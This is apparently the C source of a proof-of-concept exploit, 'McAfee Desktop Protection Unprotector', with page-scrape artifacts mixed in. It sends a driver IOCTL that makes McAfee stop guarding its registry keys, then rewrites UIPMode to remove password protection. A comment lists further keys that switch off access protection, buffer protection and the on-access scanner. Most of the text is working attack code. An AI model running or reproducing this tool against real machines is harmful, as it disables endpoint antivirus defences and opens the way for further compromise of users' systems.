if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||
if((result = CreateFile("\\\\.\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||
if((result = CreateFile("\\\\.\\Global\\WGUARDNT", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL) ) == NULL)
|
||||
result = 0;
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
void main(int argc, char ** argv)
|
||||
{
|
||||
HKEY reg_key = NULL;
|
||||
HANDLE p;
|
||||
DWORD BytesReturned;
|
||||
DWORD data = 0;
|
||||
unsigned long size = 4;
|
||||
DWORD type = REG_DWORD;
|
||||
DWORD data1 = 0;
|
||||
|
||||
char status[4][70]= {
|
||||
"No password",
|
||||
"Password protection for all items listed",
|
||||
"Password protection for the selected items",
|
||||
"Password protection for conformance to Common Criteria"
|
||||
};
|
||||
|
||||
printf("\n *******************************************\n");
|
||||
printf(" * McAfee Desktop Protection \"Unprotector\" *\n");
|
||||
printf(" *******************************************\n\n");
|
||||
|
||||
/*
|
||||
* The PoC use HKLM\SOFTWARE\McAfee\DesktopProtection\UIPMode registry key to
|
||||
* disable the password protection, but you can also access to others useful
|
||||
* keys.
|
||||
*
|
||||
* User Password
|
||||
* HKLM\SOFTWARE\McAfee\DesktopProtection\UIP
|
||||
* HKLM\SOFTWARE\McAfee\DesktopProtection\UIPEx
|
||||
*
|
||||
* Buffer protection
|
||||
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\BOPEnabled
|
||||
*
|
||||
* Access protection
|
||||
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\BehaviourBlocking\APEnabled
|
||||
*
|
||||
* On Access Scanner
|
||||
* HKLM\SOFTWARE\McAfee\DesktopProtection\OASState
|
||||
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\On Access Scanner\McShield\Configuration\OASEnabled
|
||||
*
|
||||
* Others
|
||||
* HKLM\SOFTWARE\McAfee\SystemCore\VSCore\LockDownEnabled
|
||||
*
|
||||
*/
|
||||
|
||||
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS)
|
||||
{
|
||||
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\\Wow6432Node\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | 0x0200, ®_key) != ERROR_SUCCESS)
|
||||
{
|
||||
printf("Error opening registry key...\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Check current status of McAfee protection
|
||||
RegQueryValueEx(reg_key,"UIPMode",NULL, &type,(BYTE *)&data,&size);
|
||||
|
||||
printf(" [+] Current UIPMode = %d (%s)\n\n", data, status[data]);
|
||||
|
||||
RegCloseKey (reg_key);
|
||||
|
||||
// Open McAfee magic device
|
||||
p = opendevice();
|
||||
|
||||
printf(" [-] Please John, let me write to your registry keys...");
|
||||
|
||||
// Request to the scan engine to stop protect registry keys
|
||||
DeviceIoControl(p, 0x9EDB6510u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||
|
||||
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS)
|
||||
if (RegOpenKeyEx (HKEY_LOCAL_MACHINE, "SOFTWARE\\McAfee\\DesktopProtection", 0, KEY_QUERY_VALUE | KEY_READ | KEY_SET_VALUE, ®_key) != ERROR_SUCCESS)
|
||||
{
|
||||
printf(" hmmm hmmm something went wrong!\n\n");
|
||||
printf(" [-] Ok John, take the control again!\n");
|
||||
DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||
CloseHandle(p);
|
||||
return;
|
||||
}
|
||||
|
||||
printf(" OK\n");
|
||||
data1 = 0;
|
||||
|
||||
if( argc > 1 )
|
||||
data1 = atoi(argv[1]);
|
||||
|
||||
// Disable McAfee protection
|
||||
if( RegSetValueEx(reg_key, "UIPMode", 0, REG_DWORD, (CONST BYTE *)&data1, sizeof(DWORD)) != ERROR_SUCCESS)
|
||||
printf("\n hmmm hmmm something went wrong!\n");
|
||||
else
|
||||
printf("\n [+] Thank you! now we got the control! UIPMode = %d\n",data1);
|
||||
|
||||
RegCloseKey (reg_key);
|
||||
|
||||
printf("\n [+] Run \"%s %d\" to get original settings\n\n",argv[0],data);
|
||||
|
||||
// Tell to engine to take control again
|
||||
printf(" [-] Ok John, take the control again!\n");
|
||||
DeviceIoControl(p, 0x9EDB6514u, 0, 0, 0, 0, &BytesReturned, 0);
|
||||
CloseHandle(p);
|
||||
|
||||
}
|
||||
|
Loading…
Add table
Reference in a new issue